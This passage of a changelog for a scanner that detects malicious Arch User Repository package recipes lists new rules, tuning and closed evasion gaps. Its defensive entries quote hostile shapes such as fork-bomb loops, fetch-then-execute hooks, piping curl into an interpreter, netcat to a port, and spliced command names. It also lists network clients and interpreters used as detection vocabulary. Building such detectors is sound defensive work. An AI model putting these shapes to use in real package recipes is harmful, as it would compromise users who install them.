score > bar, so a package alerts on 36+. The code comment, the CLI help and the reference docs no longer call 30 the p95. - False-positive reduction, re-baselined. Four rules were tuned against the watcher's false positives and the score distribution was re-measured across the locked corpus in the same change.
H058raises its thresholds (z_score2.0 → 3.0,min_history_cycles3 → 4) so a bulk packager's ordinary cadence is not read as a deviation;H017splits its high and low arms (fetch or dynamic execution stays HIGH; service enable, account change, sudoers and setuid bit become MEDIUM, still reported);D001drops HIGH → MEDIUM (a "never observed in the AUR" name is a history-derived prior, not a high-severity finding); andG003joins a maintainer's adopted packages only when they are unrelated (the records now carry each package's source repositories; a shared-repo family is H052's shape). The benign flag rate moves 9.7% → 9.6% and the 20-point percentile 90.3 → 90.4; the separation gate is unchanged (benign p95 35 < malicious p5 60), and the labelled attacks are unchanged.tests/fixtures/baseline.jsonis regenerated to the 0.19.0 measurement.
Fixed¶
- G006 never fired.
_campaign_identitystored package members as the campaign scope while the neighbourhood check compared it against gained hosts - a host never equals a package name - so G006 was dead for every campaign kind, not only G005. The scope is typed now and each rule matches the kind of value it names. - G005 no longer invents a campaign. Packages with no maintainer were pooled into one "one submitter" group; an empty maintainer is not evidence that unrelated ownerless clones share an operator, so they stay individual
H029findings. - G007 no longer adds score. Its bonus measured scope breadth (
len(scope)), not corroboration, and the calibration corpus carries no active campaign, so the added points were never measured against the benign false-positive rate. It is an attributedINFOfinding at weight 0 until campaign-window calibration exists. - A concurrent
seed fetchand a corpus cycle no longer collide ondatabase is locked. The connection's busy timeout rises from 5 s to 30 s, and read-only connections get one too, so a scheduled seed refresh overlapping the watcher waits for the write instead of failing;TRUSTSIGHT_SQLITE_BUSY_TIMEOUToverrides the value. - A campaign cap refusal is reported, not silent:
_activate_campaignsreturns the refused ids and the cycle logs them. - Malformed campaign, clock, override, lint and finding input is refused rather than raising through the analysis.
- Parser refusals no longer inflate a score.
X026/X027are capped atMEDIUM(30 combined, below the 35 alert bar): a legitimate complex recipe the tokenizer cannot resolve no longer scores like a compromise. To keep a refusal alert-worthy and avoid a parser-evasion blind spot, the watcher gained a refusal tier - packages withX026/X027notify regardless of score, reported outside the arithmetic like IOC hits. - C005/C011 stop firing on a project's own host. A source on the declared
url='s registered domain is trusted (declared_upstream), and a project's distribution CDN on a different domain is exempted through[source_host_divergence] allow. - C004 tolerates an arch-split checksum layout. A hash moved from
sha256sumstosha256sums_<arch>is a refactor, not a removal; C004 fires only when the hash is gone from the whole recipe. - D002 no longer calls an established package a typosquat. A dependency name that is itself a real package (
tlottiebesiderlottie) is a naming coincidence, not impersonation. - H001 recognises a VCS source outside the hunk. A
-gitpackage bumping only itspkgverno longer reports an unjustifiedSKIP; the justification is read from the head recipe, not the diff alone. - G001 ignores ubiquitous hosts. A shared
github.com(a trusted forge) is not a shared-CDN campaign; G001 joins only on a host the set did not already reach through ordinary sources. - G-series clusters no longer inflate member scores.
G001-G004keep their alert and campaign state, but membership is not, by itself, evidence against each member;G005(impersonation) still scores. full-aur --watchkeeps the replay origin, so a caught-up backfill stays on the live delta path.- A one-member "cluster" is not a campaign.
campaign_clusterkeeps only G-series clusters of two or more members and dropsG006(bounded neighbourhood context), so a bulk sweep ofH061dependency hubs - one member each, naming the ecosystem's most depended-on packages - can no longer read as hundreds of "campaign cluster(s)". - Weight-0 context cluster findings (
H057/H060/H061/G006) no longer manufacture "new alert(s)". A lapsed campaign is reported once, and campaign state read from an uninitialised database is treated as empty.
0.19.0 - 2026-10-12¶
Added¶
ChangeDeltacarries the whole change. The delta now records the rawprovides/replaces/conflictschanges, a normalised view of added dependencies (version constraints,optdependsdescriptions and unresolved entries removed), and the checksum-parity factsH091reads.H030,H063,H064,H091and the D-series read this one object instead of each re-extracting, so the change summary and the rules cannot disagree. No finding on the locked corpus moved.- The H-series intake is frozen, and the merger audit is measured. H is the catch-all series - any behavioural heuristic that is not a regex, structural or graph rule lands here - so the id space had grown to overlapping, partly corpus-dependent detections. The reduction plan is to merge rules that co-fire and shrink the live surface to a 55-65 band, so while that is pending no new H id is accepted: a new detection must be an instance of an existing H family, or filed in the series that fits its mechanism (
Tfor history-backed rules).tests/test_h_reduction.pyand two security gates enforce it. The residue gate reports the live count against the ceiling but fails only when an id slips past the freeze, never merely for being above the target band: retiring an id deletes a detection, so a high count is a prompt, not a verdict.scripts/h_reduction_audit.pymeasured every candidate pair's co-fire over the corpus, the fixtures and the history cycles; the strongest pairs are strict subsets (H026inH044) or describe different mismatches (H053host vsH059repo path), so nothing merged and the retirement map stays empty. The mechanism ships ready; the map is a data change no evidence yet supports. See Reducing the H-Series. - A replayable history corpus.
tests/fixtures/history_corpus.pyand the history replay are a committed set of metadata cycles that exercise the observation-history rules the stateless corpus never fires (H026/H044, H045/H073, H052/H053/H055/H059/H073/H074), run whole in the calibration job.scripts/h_reduction_audit.pymeasures the candidate merges across the corpus, the fixtures and these cycles: the pairs that co-fire most are either strict subsets or describe different mismatches, so none merged. - Eleven H ids stay as documentation anchors. H005-H014 and H028 emit nothing and exist only so their reference links resolve. They are excluded from the live count, which the gate reports as 92 of 103 catalogued rules.
- Temporal and edge engines. The 16 history-backed temporal rules and the 14 traversal rules are consolidated in
full_aur/temporal_engine.pyandanalysis/edges.py, with each rule's id, severity and finding text unchanged and a byte-identical corpus replay. - Indexed corpus views, the verify lane, and IOC federation. Three indexed views back the correlation feed, so it reads one pass instead of a query per package.
trustsight full-aur verifyis the batch L9 lane, off by default and reportingl9_unavailablewithout a sandbox.ioc update --federation URL --publisher-key KEY.pemfetches a publisher's signed indicators and verifies them against the pinned key before import (hashes only). - Smaller gaps closed.
C014gains its isolated-insertion case;trustsight lintreports array ordering and runs the diff-freeH076/H091;X030no longer fires on octal-encoded benign paths;X028gains a real two-commit fixture;C029andC030ship as INFO;C021splitscheckdepends(HIGH) fromoptdepends(MEDIUM); andR057coversNODE_TLS_REJECT_UNAUTHORIZED=0. On the report side, the verdict reads the boundary view, the calibration report gains an S-series last-fired ledger and the benign min-layer-cut,M002/M003move the band one step,M004co-fire health reaches the harness,G003joins on temporal adoption, andW008reports the unresolved-construct boundary behindX026/X027. - Accepted deviations. Recorded so they read as decisions: the cluster-rate gate keeps the union bound (a cluster fires on pairs, so one silent member must not fail it); the change-summary dependency entry stays the normalised view; the hunk-mismatch gap stays named
partial_hunk; and the ruleset age-drift check uses ruleset-generation markers, not file mtime. - A-series artifact inspection and the L9 build lane. The optional build lane ships as
trustsight verify-buildandTrustSight.verify_build(), off by default ([verify] enabled). The static core never executes package code; with the lane disabled or the container unavailable the result isl9_unavailable, a weight-0 boundary.analysis/artifact.pyinspects a supplied manifest for A001 Setuid, A002 Undeclared Unit, A003 Library Outside Depends, A004 Install Hook Diverges and A005 Unusual Artifact Mode. L9 evidence is never blended into the static score. Newartifactcategory and reference page. - Harness layer telemetry.
trustsight.layersgainslayers_traversed(the layers an attempt passed and the one that stopped it, or every layer for a bypass) andminimum_layer_cut, and the harness records both per attempt. - The indicator tier is a first-class category.
docs/reference/rules/indicator.mdfilesH056under Indicators (id unchanged). The report gains a top-levelindicatorsarray mirroringioc_matches, which stays. The IOC federation transport is documented as shipped, with its cadence. No new detection. - G-series cross-package correlation. Runs once at cycle end over recent analyses, never per package: G001 Shared Gained Host (HIGH), G002 Shared Added Literal (HIGH, content never printed) and G003 Coordinated Adoption (MEDIUM). Wired into the full-AUR sweep from the source-host timeline, maintainer changes and the added-literal view; one finding names the members, so a campaign is one alert. New
correlationcategory. - T-series temporal novelty. Two new ecosystem ledgers back T001 Signing-Key Novelty (HIGH) and T002 Maintainer Domain Novelty (MEDIUM). Both stay silent on a cold index, and the index is recorded on the
--recordcorpus path. - E-series entropy rules. The statistical twin of the X-series: E001 Added-Text Compression Ratio, E002 Encoded-Alphabet Fraction and E003 Identifier Entropy. Suspicion only, never a verdict, never FATAL. Every threshold ships empty, so the series stays silent until set from a measurement. New
entropycategory. - M-series meta rules. Predicates over the finished finding set: M001 Claim Contradicted By Structure (HIGH), M002 Weak Signal Across Layers and M003 Composition Not Owned Elsewhere (both weight-0). M never lowers a score. New
metacategory. - The verdict names the fired evidence categories. A verdict with scored findings now lists the categories that caught them (
Evidence categories fired: L3 (Payload signature), L4 (Evasion shape).) before the review direction. Clean packages are unchanged, and the per-layer profile stays in the report'slayersobject. - Directional source divergence.
source_divergence()compares thePKGBUILDand committed.SRCINFOsource arrays in both directions. A source the PKGBUILD fetches that.SRCINFOnever names fires H103 HIGH (the executable/metadata split); one only.SRCINFOnames is stale metadata and fires H103 INFO. Variables are skipped. - A D-rule abstention is reported. When D001/D002 stand down because the dependency corpus is unseeded, the abstention is now W007 Dependency Novelty Declined For Insufficient Observations, a weight-0, always-shown boundary naming the rules and the observation count. Silent when the corpus is populated or nothing was added.
- Ruleset age-drift prompt.
rules.tomlcarries aruleset-versionmarker.statusshows a one-timeconfig sync-rulessuggestion when the local ruleset is a generation behind, at most once per shipped generation and suppressed when a drift note already shows. The JSON status body gainsruleset_age_drift. - One analysis-boundary object.
trustsight.boundariesunifies the coverage-gap list and the weight-0 W findings:AnalysisBoundarycarries the sharedkind, the gap id and the W rule. The report gains a top-levelboundariesarray (forbids_cleanper entry), andforbids_clean(boundaries)equalsbool(coverage_gaps)by construction. The oldcoverage_gapsand W findings stay for one release. - Typed file metadata and three structural rules.
DiffFilenow carries git's file modes, rename source and destination, and added-file status, so a mode-only or rename-only section is visible. Three rules read it: C018 Executable File Committed (MEDIUM), C019 File Renamed (INFO) and C026 Empty File Added (INFO). The parser schema bumps to v2 and the projection baseline is regenerated; the change is purely additive. - X033 plus four fetch/exec fixes. X033 File With No Provenance Executed (HIGH) fires when a build function runs a file at the
$srcdirroot that the recipe neither declares, writes, nor fetches inline. With it:H082readswget -i/aria2c --input-fileaddresses from their heredoc and treats python/perl/ruby as executors;H083resolves${var}in source entries;H101makes a pinned tarball replaced by a floating VCS entry HIGH;H077/H016add FreeBSDfetch; and the tokenizer handlesdeclare/localoption runs and glued-suffix paths ("$srcdir"/x.sh). - C031 Boot Or System Image Tool Run During Build. A build-time function that runs
mkinitcpio,grub-install/grub-mkconfig,update-initramfs,dracut,bootctl,guestfish,virt-customizeorvirt-sysprepnow fires HIGH.H095covered these only when they named a path from the source tree, so the live-host form scored 0. Install hooks stay out of scope, where these run legitimately. scripts/scan_benign.py. A parallel, one-pass benign-corpus scanner that reuses the calibration worker pool, so a rule can be checked across the whole corpus without a serial loop.- A container install test.
tests/test_container_install.pybuilds the release tarball and installs it in a disposable Arch container, automating the manualmakepkg -sistep. It is gated behindTRUSTSIGHT_CONTAINER=1and run by acontainer-installCI job.
Changed¶
- The assurance-layers documentation was rewritten for readers. The section no longer describes the categories as a sequence an attacker walks. The overview opens with a worked example (a diff, the finding, the report lines) and a plain-language glossary; Part 1 is "Evidence categories and rule mapping" with a table generated from
trustsight.layers; Part 2 is "How to add a useful new detector"; Part 3 is "Reporting"; and Part 4 separates the implementation gates from the empirical results and states that the harness results are not yet published.security.mdnow frames three assurance levels (implementation, empirical coverage, external evaluation). - Detector metadata names shared dependencies.
trustsight.detectorsrecords each series' mechanism, evidence source and shared infrastructure (tokenizer, parser, history DB, corpus), so two rules that share a dependency are visible rather than assumed independent. A gate enforces it. - The layer profile separates detection from coverage. Each layer reports
detection(fired/none) andcoverage(complete/incomplete/not_applicable), so a finding cannot hide that its layer was also unread. The derivedstatusis kept for one release. - A layer is a kind of evidence, not a stage. The verdict lists the fired categories instead of naming a "deepest" layer, and
layers.observed_layersrecords only the categories that fired. The harness'sminimum_layer_cutis now the exact smallest set of fired categories covering every caught attempt, bypasses are counted separately, andsingle_layer_failurereports how many attempts one category's removal lets through. - The published figures were re-measured after the new rules. The C018/C019/C026/C027 rules and the M-series moved the corpus figures (benign zero-rate 68.4 to 68.2, malicious minimum 50 to 60, ruleset trigger 31.6 to 35.3); the flag rate, benign p95 (35), malicious p5 (60) and the 25-point margin are unchanged. The figures JSON, the pages that quote them and the published suite size moved together.
- H083 fires on every executed declared source, whatever its name. The rule exempted a downloaded build script (
configure,Makefile,meson, ...) that looked like the upstream's own file.url=is attacker-declared, so a matching host is not provenance. A declared source executed as a script now fires regardless of host or name, and the provenance helpers are removed with the exemption. - Documentation leads with the evidence report, not the score. The landing page describes what a run produces (findings, change summary, coverage gaps, verdict) with the score on request, and the README's scoring section is demoted. A new
docs/reference/glossary.mddefines the vocabulary once, and the assurance-layers pages gain complete examples and visual guides. Two notes say to scan the corpus and re-check campaigns through the parallel pools, never a serial loop. - SQLite commits default to WAL
synchronous=NORMAL. The old default paid an fsync per commit; on btrfs a write-then-restore cycle drops from about 165 ms to 30 ms, which the harness benefits from most.TRUSTSIGHT_SQLITE_SYNCHRONOUS=FULLrestores the old behaviour.
Fixed¶
- The assurance layers are a documentation section, not one page. The explanation page became a top-level section with an overview and four parts, registered in the navigation, with every cross-reference resolving.
- Four security gates were added for the new surfaces.
every rule carries exactly one layer,boundaries forbid clean exactly when coverage gaps exist,the indicator tier mirrors ioc_matches, andthe layer profile is gap-precise and additive.security.mdstates the layer axis and documents the boundary object. - X032 Command Name Assembled By Splicing (HIGH) reports an attempt to disguise a command name (
cu""rl,su"d"o,${IFS}sudo) only when the disguised word resolves to a security-relevant command; C028 Build Cache Outside The Build Trees (INFO) reports a build step that caches outside$srcdir. - The harness records aligned-hole depth and the minimum-cut distribution, and
assurance-layers/enforcement.mdmatches the code. - A006 File Capabilities (HIGH), A007 Privileged Surface (MEDIUM) and A008 eBPF Artifact (HIGH) join the artifact rules.
verify_buildcarriesl9_divergencewhen the artifact and the static analysis disagree, and both profiles stand. - T003 Signing Key Rotated (HIGH) fires when a
validpgpkeyskey is removed and a different one added in one diff. The G002 literal feed reads the recorded index, and indicator campaign tags are pinned by a test. - E002 counts the base32 alphabet and E003 gains a bigram entropy.
scripts/entropy_calibrate.pymeasures the E001/E002/E003 distributions and prints conservative floors, run in the calibration job. - M001 checks a genuine contradiction (the claims the run's declarations imply against its structural findings) instead of firing on rule presence, and M004 reports a historically co-firing construct missing its rule to the harness, never as a package finding.
- A
[layers]config table can override a rule's layer (out-of-range or unknown ids are ignored), and SARIF results carryproperties.layerfor code-scanning consumers.H099/H101/H103are pinned to L1. - Two documentation gates were added:
every report body key is documentedandboundaries are the coverage view, so the two views cannot drift. - The report schema now documents
layersandboundaries, lists them inREPORT_KEYS, and describes the M/E/T/G/A series.inspect --verboseprints the same one-line summary on both renderers. comparison_basereached the report body, and W007 groups under theno_historyboundary kind to match its gap.- Follow-up audit fixes.
build_novelty_contextanswers the source-array question directly; the replay harness reads documents through the parse cache;X029stands down when X001/X023 reference the material; an override keyed to a retired id still suppresses its survivor; C027 Declared Install Script Is Absent (INFO) fires wheninstall=names a file the tree lacks; and H103 findings cite both files and their lines. - Conformance fixes.
DiffDoc.cut_hunksflags a hunk that parses more lines than its header declares;fully_vettedis false wheneverunresolved_assignmentsis non-empty;X029honours[thresholds] x029.min_length; andX027can no longer orphanX026. - The layer registry and report profile. Every rule carries exactly one layer (
L1-L8) as data intrustsight.layers, with per-series defaults and per-rule overrides. The report gains alayersobject with each layer's status and fired rule ids, andunreadableis set for a layer with no finding when the run carried a coverage gap. Additive: no finding, score or verdict changed. - S001 catches every constant-loop fork bomb. The loop arm matched only
while true, sountil false; do : & doneand the test-expression spellings (while [ 0 ],while [ 0 = 0 ],while [ -z '' ],while [[ -n x ]],while test 1 = 1) read as clean. The condition is now evaluated; the dead-loop mirrors (until true,while false) stay silent. - H083 catches absolute-path interpreters and lost its url-less hole.
/bin/bash fileexecuting a declared download scored 0; the sink now accepts/bin/and/usr/bin/. Deletingurl=no longer disables the foreign-host check. - H038 catches slash-normalized
/tmp.cd //tmpandcd /./tmpwalked past a literal/tmpmatch; path runs are now folded. - R053/R059 catch setuid spelled with
install -m.install -m 4755now fires likechmod 4755;0755/644stay silent. - H076 catches interpreter writes.
perl -pi/ruby -iin-place edits of absolute paths and inlineopen("/etc/...", "a"/"w")writes are now visible. - S002 catches unforced and
finddeletes.rm -rwithout-fandfind ... -delete/-exec rmat a system root now fire. - X033 false positives removed.
python -m buildno longer matches-mas a filename, and a project's own./buildno longer reads as a$srcdir-root download.
0.18.1 - 2026-10-07¶
Added¶
seed fetchandioc updatereport download progress. A release-channel download draws a bytes/speed/elapsed bar on stderr when the terminal supports it, so the command is no longer silent until its summary line.--json, pipes andNO_COLORkeep their exact output; the byte cap, the download deadline and the signature-before-read order are unchanged, and the declaredContent-Lengthis display-only (an absent or implausible value reads as unknown).
Fixed¶
seed fetchno longer builds a URL that cannot resolve when the releases API is unavailable. The seed lives only onbaseline-*releases, so abaseline-*asset now falls back to the configured[seed] baseline_tag(shipped:baseline-2026-09-24) and refuses outright when there is no fallback, instead of silently retargetinglatest- av*release that carries no baseline assets. An unauthenticated GitHub API rate limit had madetrustsight seed fetchreturnHTTP 404for/latest/download/baseline-seed.tar.gz, which read as "the seed is missing" rather than "discovery was throttled". Setbaseline_tag = ""to fail closed rather than use the shipped tag.- A
full-aur --sincebackfill decides it has caught up from a single clock reading. The caught-up check compared the drained day's end against a secondtime.time()call taken at the end of the cycle, so a wall-clock second boundary falling mid-cycle could leave a genuinely caught-up replay backfilling for one more day. The reading taken when the cycle begins is used now; the outcome is otherwise unchanged. --limitis unbounded by default again.[limits] default_review_limitshipped set to 20 and was read by nothing; once the key became effective, that stale shipped value silently narrowed every review to 20 packages. A configured20is treated as the legacy value and repaired to 0 (read everything) on the next run; any other configured value is left alone.- A dependency array no longer reads past its file. A
depends=(left open in a PKGBUILD hunk was continued into the rest of the commit diff, so a LICENSE, a.patchand a companion CMakeLists were read as dependencies: litehtml0.9 scored a BSD-3-Clause licence and a CMake diff as 56 novel dependencies through D001, D002, H030 and H098. Dependency extraction is scoped to the PKGBUILD now, and a file boundary closes the open array (a hunk boundary does not, so an array spanning two hunks keeps both additions). The published benign distribution moved with the fix: zero-rate 68.4%, flag rate 9.5%, threshold percentile 90.5, ruleset trigger rate 31.6%. patch -Np1 -i ../x.patchno longer reads as executing the patch. H083's./patharm matched the./inside../x.patch(a declared source), so it firedexecutes declared source file 647.patchwhile W003 firedapplies a patch ... never readon the same line (protonup-qt). The./arm is anchored to a command position, and H083 stands down when the line is a patch application.
Changed¶
- The calibration baseline is re-measured at 0.18.0 and records all 31 X rates.
tests/fixtures/baseline.jsonstill described 0.17.1 and an earlier corpus generation; it is regenerated against the locked 3,739-diff corpus (same content hash), so the recorded strata describe the shipped rules. Every X-series rate is recorded, including the silent zeros, and a new calibration gate fails when a composition rate drifts more than 0.002 (about seven diffs) from its recorded value - the drift is adjudicated in this changelog with a deliberatescripts/rebaseline.pyrun, never a quiet edit. Two gates join it: the S-series payload/lookalike pairs (S004, S005 and S008 gain payload fixtures, and every sabotage rule gains a near-miss lookalike), and the H098 membership invariant (the weight-bearing cluster cannot fire without at least two of its member findings in the same report). The labelled-fixture count moves 184 to 195 with the new fixtures.
0.18.0 - 2026-10-07¶
Security¶
- A declared source URL is no longer accepted as a fetch's address when it is a decoy argument. Appending a declared
source=()URL to a no-URL fetch (git fetch,rclone copy,wget/curl/axelbasename forms,lwp-download, and the host-form clients) put a scheme on the line, which the unattributed pairing arm read as "attributed fetch elsewhere"; the real fetch, and the later execution of the file it brought, paired with nothing. A URL-derived output path that names a declared source is now discarded, and the arm is entered whenever the line names no output of its own. Explicit output flags (-o stage.sh) are unaffected, and an attributed fetch followed by an unrelated execution still does not pair (H082 false-positive control intests/test_bypass_closure.py). - A fetch inside
pkgver()now pairs with an execution. R051 covers pkgver's network for the classic clients but notgit fetch/git pull, and pkgver was excluded from the fetch-then-execute scope entirely, sopkgver() { git pull; bash payload; }scored nothing. The pairing pass now reads pkgver; H016 and the write-then-execute rules are unchanged. - The client vocabulary reads
git -C <dir> <verb>, and the output-flag arms are case-sensitive.git -C "$srcdir/x" pullmatched no network client at all, which silenced the pairing for the most common build-helper spelling; andre.IGNORECASElet the lowercase-oarm claim curl's argument-less capital-O, so the URL was captured as the output filename and the real fetch paired with nothing.(?-i:o)/(?-i:O)pin the flag letters. The same option gap hidgit lfsandgit push: both now accept global options before their verb. - Measured outcome: the harness replay of the 1,277-history corpus moves 753 open bypasses to 1, and six tests in
tests/test_bypass_closure.pycover the decoy shapes, thepkgvercase, the explicit-output control and the unrelated-execution control. - Release artifacts are signed with a key CI does not hold. The deterministic source tarball ships a detached
trustsight-<version>.tar.gz.sigmade with the pinned commit-signing key;packaging/aur/PKGBUILDpins it invalidpgpkeysand declares the.sigas a source, so makepkg and yay verify it on every user's machine. A checksum lives in the same recipe release automation owns, so a GitHub account, token or workflow compromise could rewrite artifact and checksum together; the signature needs the offline key as well. See release signing.
Fixed¶
- A refused reassignment no longer leaves a stale value, and a substituted array is no longer stored shredded.
pkgver=1followed bypkgver=$(date)kept1in the variable table, andsource=($(cmd))stored('$(cmd)',)as entries, so every rule read a value the revision does not have. Both now leave the name out of the tables: readers treat it as "not seen" (A6). The reported refusals are unchanged, because the X-series rates are adjudicated on that surface: a name that was ever resolved, or whose array the old reader recorded, is not newly reported. A targeted replay of every affected corpus diff plus a 10% spread (522 diffs) is byte-identical: no finding, score or params moved.
Changed¶
- A diff is parsed once per analysis instead of dozens of times. The typed parse, the sandbox line split and the lexical scan are memoised per process (bounded, content- or identity-keyed), removing ~65 redundant parses per diff and the worker round-trips each one cost: measured 0.395 to 0.307 s per corpus diff. Output-identical: the full 3,923-diff finding replay and the committed projection baseline are unchanged.
- The calibration gate and the two analysis-heavy parity harnesses (
finding_parity.py,typed_core_parity.py) accept--jobs. Packages are analysed in worker processes, with each package's global URL prefix precomputed exactly and its diffs kept in order, so a full-corpus run drops from ~50 minutes to ~4. Pattern-safety verdicts (including the generated R013/R047/R048/R152 patterns) are decided once in the parent before the workers start, so a rule cannot vanish under pool load. Library callers stay serial; the CLIs default tomin(8, CPUs). - The typed-core projection gate is a committed baseline now.
tests/fixtures/diffdoc-projections.json.gzholds a per-diff digest of the parse - file attribution, sides, line numbers and hunk arithmetic - checked whole by the calibration CI job; regenerate it deliberately when the parse changes. It replaces the cross-walker comparison, which became self-referential once the readers migrated onto the typed core. - R051's shipped client list now reads git's global options before the verb.
git -C "$srcdir/x" pull,git -c … fetch,git --git-dir=… clone,git lfs …andgit pushare covered, where the previous pattern saw no client at all. An install that still holds the earlier pattern reportsruleset_driftedand fails closed untiltrustsight config sync-rules --updatereplaces it; both superseded spellings are recorded inLEGACY_RULE_PATTERNS.
0.17.4 - 2026-10-05¶
Fixed¶
- The escalated regex-safety decision reads shape, not absolute cost, and supersedes 0.17.3. 0.17.3 also refused a borderline pattern when its cost at the longer baseline crossed the budget; under load a genuinely linear shipped pattern (ratio near 4 at both lengths) crossed it while the quadratic matcher held 13 and up on every reading, so the shipped-pattern audit and the AUR
check()failed. The escalated case now takes the smaller of two growth readings at four times the probe length and refuses above 8x, the geometric midpoint of the 4x a linear pattern shows and the 16x a quadratic one shows: the shipped linear patterns measure 3.8 to 4.4 there and the quadraticsudomatcher 13 to 25. On a fast machine the first, diluted reading still escalates, so the machine-speed fix 0.17.3 delivered stands.
0.17.3 - 2026-10-05¶
Fixed¶
- The regex safety check is no longer machine-dependent.
is_superlinearmeasured growth at one probe length, and on a fast CPU the fixed match overhead diluted the ratio enough that a quadraticsudomatcher was allowed and shipped through the linter;makepkg'scheck()then failed when building the AUR package. A borderline ratio now escalates to a four-times longer baseline and refuses on either the growth ratio or the absolute cost there, so the decision does not depend on machine speed. - The
report --diffread is bounded. It used an unboundedread(), which the security gate refused; it now goes throughread_file_capped. - The published calibration figures are refreshed to the 0.17.2 measurement. The typed-core rules moved the benign distribution (zero-rate 67.8%, p95 35, flag rate 10.3%, percentile 89.7, margin 25, ruleset trigger rate 32.2%), and the figures and every page that quotes them were updated together.
- The Docker image workflow resolves the release tag before checkout, where
ghhas no repository to infer;GH_REPOis set for that step. - Corpus-dependent tests skip when the locked corpus is not in the checkout, which is the publishing runner; the hostile-input probe budget moves to 8 seconds with the rationale that the probe is linear and the typed core adds bounded passes, while the 1000-line probe keeps the 30-second quadratic ceiling.
0.17.2 - 2026-10-05¶
Security¶
- The 271 recorded harness bypasses are closed. The adversarial harness (
trustsight-harness) held 271 distinct verified bypasses: a fetch whose output grammar named no file, paired with an execution sink the rule set did not read. The fixes, all measured against the harness and the 3,739-diff benign corpus: - H082's unattributed arm. A client whose output grammar names no file (
sftp/ftp/ssh/nc,git fetch/pull,rclone moveto/move/bisync/copyurl,ipfs get,aws s3 cp,gsutil cp,b2 download,cvs,tftp,openssl s_client,npx, a glued or server-decided flag, a fetch-spec-in-file) now pairs with a later execution of an undeclared, non-benign file in the same reachable scope. Pairing crosses makepkg phases in order (prepare->build->check->package), treats a loop variable (bash "$f") as an unknown path, follows a rename of a fetched file (awk '1' repo/x.sh > run.me; escript run.me), and exempts$pkgdirexecutions. A scheme-bearing URL stays H016's and the attributed arm's, so one command is not scored twice. - Output grammar. Glued
-o"f"/-Ostage.sh/-o$f,wget -O,--output-dir/-P/aria2c -d, stdout-dash piped totee,rclone moveto/move/bisync/copyurl,ipfs get CID, and store destinations that are directories (aws s3 cp s3://b/s.sh .now recordss.sh). - Execution sinks.
sh -s < f, interpreter< f, process substitution (python3 < <(curl URL)),/dev/fd/N, and the exotic interpreter set (escript,fennel,zx,guile,racket,pwsh,julia,Rscript,deno,bun,elixir,ts-node, and the rest) in both the fetch-pairing and declared-source collectors. - H016 host forms.
sftp -b - u@h,ftp -n h,nc h 4444andssh u@h cmdyield the bare host, compared against the canonical hosts ofsource=().git fetch originis deliberately not a host; its chain is H082's. - H083 aliases. A declared source renamed by a transform (
awk/sed/cat/tee) and then executed fires H083 with both names. - C001 capability gate. A version move only downgrades the checksum-tamper signal to C002 when the diff adds no new fetch or script execution in a critical function; a bump used as cover keeps C001 HIGH.
[thresholds] c001.require_capability_signal(default true) reverts with one flip. - Parser fix.
<<<here-strings were mis-parsed as heredoc openers, blanking every following line for the pairing rules; the opener regex now requires<<not to be part of<<<. - Measured outcome:
harness regression271/271 closed, 0 open.harness benign385/3,739 (10.30%) at the harness's cold threshold, and an exact A/B with the pre-fix tree on the locked corpus is identical (359 flagged, 0 new H082, H016 unchanged at 8, 0 version-bump C001) - the fixes add zero benign findings. A round-7 campaign for the previously unmeasurable clients (aws/gsutil/b2/cvs/tftp/openssl s_client/npx) closes 7/7.
Added¶
- The typed-core feature set, end to end:
- Change-as-data (
ChangeDelta).differ.change_delta()parses a diff once into files, host/source/checksum/PGP/dependency array deltas and resolvedVersionFacts; the prose summary renders it for the host, local-source and checksum facts, and every JSON body carries it as a top-levelchangeobject. A corpus harness (tests/harness/change_parity.py, 3,739 diffs) proves the delta reproduces the summary's facts and round-trips throughto_dict/from_dict. - Diff integrity. The existing
partial_hunkgap now carries the file, hunk and declared-vs-parsed counts (partial_hunksdetails), and a verdict with an open gap can no longer claim "no structural changes". - SARIF.
report_to_sarif()plustrustsight report --format sarifandReport.to_sarif(): direct rule-id mapping, severity levels, pre-image anchoring for removed-line findings, no fabricated regions, stablepartialFingerprints. Goldens pin a clean bump, a checksum rotation and a malicious sample; a location-bounds test runs over the corpus. - Document cache.
DiffDoc/RecipeDocserialize to versioned JSON (schema_version+ a tokenizer digest that invalidates automatically);trustsight.doc_cacheservesparse_diff_cached/parse_recipe_cached, falling back to a fresh parse on any miss or malformed entry. analyze_diff.TrustSight.analyze_diff(diff_text)runs the pipeline's diff stage withadapter="diff"; the text cap is a validated error, andpartial_hunkapplies with full force to pasted diffs.- Reordered arrays. C014 (Array Order Manipulation, MEDIUM,) fires when a checksum array reorders during a content change or a SKIP moves; the pure reformat stands down via
[thresholds] c014.require_content_change(default true). Corpus: 0/3,739. - Function-scoped rules. C015 (Fetch In
package(), HIGH, re-filed from H100) readsRecipeDoc.functionsonly; H076 already owns the write-outside-$pkgdirhalf. Corpus: 7/3,739 (0.19%), four inamneziawg-dkmsand three inapple-fonts, each a fetch at artifact-assembly time. - Unresolved surfacing and lint. Every body gains
unresolved_assignments(name, capped line, file; tokenizer refusals unioned with coverage-known refusals),inspectrenders an Unresolved constructs section, gaps cross-reference the list by index, andtrustsight lint <path>reports parse status, arrays (duplicates/SKIP notes), functions, unresolved constructs and the diff-free rules with no score. Additive only: no finding, score or verdict changed. .installanalysis. C016/C017 (re-filed from H102/H103) read complete.installhook bodies as functions and attribute findings to the file's own lines; a partial file yields apartial_file_analysiscoverage gap instead. Corpus: C016 0, C017 0, gap on 21/3,739 (0.56%) - an adjudicated fail-closed change, since a fragment is no longer read as a whole script.explain.trustsight explain <package> <rule_id> [--occurrence N]re-reads the document, re-runs the rule's pattern, and emits the definition, the matching lines with both line numbers, theChangeDeltafacts and any external input with its cached value.- Corpus as documents. Per observed version,
RecipeDocscalars and array tuples are indexed (recipe_observations,recipe_array_observations) behindarray_seen_before()/tuple_observation_count(), bounded per package; the corpus builder records on--record. Rule consumption awaits the warm re-measurement the D-series precedent requires. - Property-based parser tests. Hypothesis generators (lying counts, header-spelling content, binary markers, headerless/interleaved files, empty hunks) assert the five
DiffDocinvariants and the never-traceback contract. - The refusal family and ownership resolver.
